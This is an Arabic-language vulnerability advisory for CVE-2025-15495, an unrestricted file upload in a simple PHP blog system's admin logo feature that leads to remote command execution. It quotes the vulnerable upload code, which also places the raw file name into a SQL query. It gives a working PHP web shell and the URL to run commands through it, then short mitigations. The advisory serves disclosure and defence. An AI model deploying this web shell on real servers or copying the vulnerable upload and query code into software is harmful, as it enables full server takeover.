
CVE-2025-15495 - تحميل ملف تعسفي يؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE)
BiggiDroid – نظام إدارة المدونات البسيط بلغة PHP صفحة المنتج: https://biggidroid.com/product/simple-php-blog/
حرجة
CVSS (تقديري): 9.8 (AV:N / AC:L / PR:L / UI:N / S:U / C:H / I:H / A:H)
يحتوي نظام إدارة المدونات البسيط بلغة PHP على ثغرة رفع ملف غير مقيد في وظيفة رفع شعار الموقع بلوحة الإدارة. يمكن لمهاجم مصادق عليه رفع ملف PHP خبيث متنكر على أنه صورة، والذي يتم تخزينه في دليل يمكن الوصول إليه عبر الويب وتنفيذه بواسطة الخادم، مما يؤدي إلى تنفيذ أوامر عن بعد.
لوحة الإدارة ← تحديث شعار الموقع
مقتطف التعليمات البرمجية الضعيف ذو الصلة:
$target = "../image/".basename($_FILES['image']['name']);
$image = $_FILES['image']['name'];
$query = mysqli_query($con,
"UPDATE sitedetails SET sitelogo='$image' WHERE id='$id'");
if (move_uploaded_file($_FILES['image']['tmp_name'], $target)) {
// success
}
أنشئ ملفًا باسم shell.php:
<?php
$cmd = $_GET['cmd'] ?? '';
echo "<pre>";
system($cmd);
echo "</pre>";
?>
shell.php كملف الشعار📌 يقوم التطبيق بقبول ملف PHP بدون تحقق
بعد الرفع، يمكن الوصول إلى الملف على:
http://127.0.0.1/image/shell.php
تنفيذ أوامر النظام:
http://127.0.0.1/image/shell.php?cmd=dir
يقوم الخادم بتنفيذ أوامر نظام التشغيل وإرجاع المخرجات، مما يؤكد تنفيذ التعليمات البرمجية عن بعد.





يمكن للمهاجم:
يمكن أن تؤدي هذه الثغرة إلى استيلاء كامل على الخادم.
.htaccessتقييد امتدادات الملفات
$allowed = ['jpg','jpeg','png','gif'];
التحقق من نوع MIME
finfo_file()
إعادة تسمية الملفات المرفوعة